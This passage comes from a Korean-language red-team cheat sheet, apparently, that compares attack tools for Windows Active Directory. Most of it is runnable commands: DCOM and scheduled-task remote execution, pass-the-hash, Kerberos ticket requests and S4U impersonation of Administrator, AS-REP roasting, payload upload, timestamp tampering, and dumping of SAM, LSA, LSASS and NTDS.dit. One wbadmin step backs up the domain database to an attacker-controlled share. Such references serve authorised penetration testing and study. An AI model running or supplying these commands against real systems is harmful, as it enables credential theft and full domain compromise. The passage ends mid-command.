[↑ 목차로 돌아가기](#index)

---

### DCOM Exec

> **Titanis `Dcom invoke` — CLSID 조회 표준 절차(SOP):**
> - **ProgID 확인은 로컬에서 수행됩니다.** Titanis는 대상이 아닌 공격자의 레지스트리에서 ProgID(예: `MMC20.Application`)를 확인합니다. Linux에서는 확인할 레지스트리가 없으며, Windows에서는 공격자의 CLSID가 대상의 CLSID와 다를 수 있습니다. 항상 `Reg`를 사용하여 원격 시스템의 실제 CLSID를 조회한 다음 원시 GUID를 전달하세요.
> - **속성 체인 탐색** (v0.9.20260320+): Dcom invoke는 이제 `Document.ActiveView.ExecuteShellCommand`와 같은 점으로 구분된 속성 경로를 지원하며, IDispatch 체인을 자동으로 탐색합니다. MMC20.Application은 작동합니다. ShellWindows `Item()`은 작동하지 않습니다 — 체인 구문이 전달할 수 없는 인덱스 인수가 필요하기 때문입니다.```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"

# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"

# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow

# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]

# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]

# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
  'cmd /c whoami > C:\Windows\Temp\out.txt'

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec

# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
  Document.ActiveView.ExecuteShellCommand \
  cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'

Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '\\192.168.1.10\C$\Windows\Temp\out.txt'

# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
  'C:\Windows\System32\cmd.exe'

# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
  'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default)    REG_SZ    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

[↑ 목차로 돌아가기](#index)

---

### 예약 작업 실행

> **참고:** MS-TSCH는 아직 Titanis에 구현되지 않았습니다. 대안으로 WMI를 통해 `Win32_ScheduledJob`을 사용하거나, 실제 MS-TSCH 동작을 위해 `atexec.py`를 사용하세요.```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_ScheduledJob Create \
  "Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"

# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm  \\192.168.1.10\C$\Windows\Temp\out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"

# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami

# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
  "whoami > C:\Windows\Temp\out.txt"

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec

[↑ 목차로 돌아가기](#index)

---

## 2. Kerberos

### TGT 요청```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1

# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
  password=Password123 action=GET_TGT

# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1

# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe

# minikerberos — AES256
minikerberos-getTGT \
  "kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
  --ccache jdoe.ccache

# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
  -AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
  "kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
  --ccache jdoe.ccache

# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi

[↑ 목차로 돌아가기](#index)

---

### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -dc-ip 192.168.1.1 DOMAIN/svc:Password123

# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc

# minikerberos — S4U2self
minikerberos-getS4U2self \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  [email protected] s4u_self.ccache

# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache

# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
  -S4UserName Administrator@DOMAIN cifs/target.domain.local \
  -OutputFileName admin-target.kirbi

# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ 목차로 돌아가기](#index)

---

### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt

# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
  --userlist users.txt -o asrep_hashes.txt

# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
  --ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt

# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep

# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=4194304)" \
  -OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
  kerb asreq -UserName "$user" -Realm DOMAIN \
    -Kdc 192.168.1.1 -EncTypes Rc4Hmac \
    -OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)

# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1

[↑ Back to Index](#index)

---

### 사전 인증 / 암호화 유형 탐색```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt

# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt

# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt verbose=true

# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1

# Titanis — bulk probe loop
while IFS= read -r user; do
  result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
  if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
    echo "INVALID: $user"
  elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
    echo "NO-PREAUTH: $user"
  else
    echo "VALID: $user"
  fi
done < users.txt

[↑ 목차로 돌아가기](#index)

---

### 티켓 갱신```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe

# MIT Kerberos
kinit -R
krenew -v -b -t

# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache

# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi

# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]

[↑ 인덱스로 돌아가기](#index)

---

### 비밀번호 변경```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass

# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass

# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe

# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass

# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass

# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]

[↑ 인덱스로 돌아가기](#index)

---

## 3. SMB / 파일 작업

### 공유 목록```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares

# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'

# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"

# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ 목차로 돌아가기](#index)

---

### 파일 다운로드```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'get Windows\System32\drivers\etc\hosts hosts.txt'

# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ 목차로 돌아가기](#index)

---

### 파일 업로드```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'put payload.exe Windows\Temp\payload.exe'

# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ 인덱스로 돌아가기](#index)

---

### 명명된 파이프 나열```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe

# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ 색인으로 돌아가기](#index)

---

### SOCKS5를 통한 SMB```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]

# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"

# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"

# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Socks5 127.0.0.1:1080

[↑ 목차로 돌아가기](#index)

---

### 원격 파일 타임스탬프 변조```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe

# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"

> **@GMT 스냅샷 경로 접근:** `@GMT-...`는 실제 디렉터리가 아닙니다. Windows SRV.SYS가 SMB2 CREATE 경로에서 해당 토큰을 가로채 VSS 스냅샷으로 리디렉션합니다. 경로를 구성 요소별로 탐색하는 도구(`Smb2Client get` 포함)는 `STATUS_OBJECT_PATH_NOT_FOUND`를 받게 됩니다. 전체 경로를 단일 CREATE 요청으로 보내는 smbclient.py 또는 네이티브 smbclient를 사용하세요:
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
>   -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```

[↑ 목차로 돌아가기](#index)

---

### NTFS 대체 데이터 스트림(ADS) 열거```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'allinfo Windows\Temp\file.txt'

# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  streams C$/Windows/Temp/file.txt

# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ 인덱스로 돌아가기](#index)

---

### 대량 공유 열거```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares

# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24

# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24

# Titanis
while IFS= read -r host; do
  echo "=== $host ==="
  smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
    -Password Password123 2>/dev/null
done < hosts.txt

[↑ 목차로 돌아가기](#index)

---

### SAM 해시 덤프```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]

# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=SAM

# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  action=SAM

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam

# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam

# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
  -Password Password123 -BackupSemantics

[↑ 인덱스로 돌아가기](#index)

---

### SAM + LSA 함께 덤프```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]

# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=ALL

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa

# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"

# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"

# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam        192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ 인덱스로 돌아가기](#index)

---

### VSS 스냅샷을 통한 NTDS 덤프

> DC에서 VSS 섀도 복사본을 요청하고 스냅샷에서 NTDS.dit + SYSTEM 하이브를 직접 읽습니다. 복제를 사용하지 않습니다 — DCSync가 차단되거나 모니터링될 때 유용합니다.

> **⚠️ `-use-vss` 제한 사항:** secretsdump의 `-use-vss`는 내부적으로 smbexec를 사용하여 vssadmin을 실행하고 출력을 수집합니다. smbexec 서비스 생성에는 SVCCTL `PacketPrivacy` 인증 수준이 필요하지만, secretsdump는 이를 협상하지 않습니다 — 서비스 생성이 조용히 실패하고 출력 파일은 결코 작성되지 않습니다. 대신 SVCCTL을 완전히 우회하는 `-use-remoteSSWMI -use-remoteSSWMI-NTDS`를 사용하세요.```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss

# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -exec-method wmiexec

# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-vss

# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -outputfile ntds_dump -user-status -pwd-last-set

# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI

# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-remoteSSWMI -use-remoteSSWMI-NTDS

# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS

# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss

# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss

# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled

# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123

# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM

# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'

# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

[↑ 인덱스로 돌아가기](#index)

---

### wbadmin을 통한 NTDS 덤프 (Windows Server Backup)

> `wbadmin`은 VSS를 내부적으로 사용하여 파일을 네트워크 공유에 백업하는 기본 제공 Windows LOLBin입니다. 로컬 스테이징이 없고 백업 작업 외에 코드 실행 아티팩트가 없습니다. Backup Operators에 대해 작동합니다(DA 필요 없음). DC에서 공유 폴더에 쓸 수 있어야 합니다.

> **⚠️ `WindowsServerBackup` Windows 기능이 필요합니다.** wbadmin 바이너리는 기능이 설치되지 않은 경우에도 스텁으로 존재합니다. 이 경우 명령이 멈추거나 조용히 실패합니다. 시도하기 전에 기능이 활성 상태인지 확인하세요: `Get-WindowsFeature WindowsServerBackup`(PowerShell) 또는 `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. `InstallState`가 `Installed`가 아니면 이 방법은 작동하지 않습니다.```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""

# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"

# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
  -itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"

# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
  "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"

# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

[↑ Back to Index](#index)

---

### Kerb-Key-List를 통한 NTDS 덤프 (RODC)

> RODC 키 복제 프로토콜을 통해 모든 도메인 계정의 AES Kerberos 키를 추출합니다. RODC `krbtgt` 계정(`krbtgt_XXXXX`)의 AES 키 또는 NT 해시가 필요합니다. DRSUAPI나 VSS를 사용하지 않습니다 — DCSync가 차단된 환경에서 유용합니다. Kerberos 키만 복구하며 NTLM 해시를 직접 복구하지는 않습니다(RC4 키에서 NTLM을 유도할 수는 있지만).```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-keylist -rodcNo <RODC_number> \
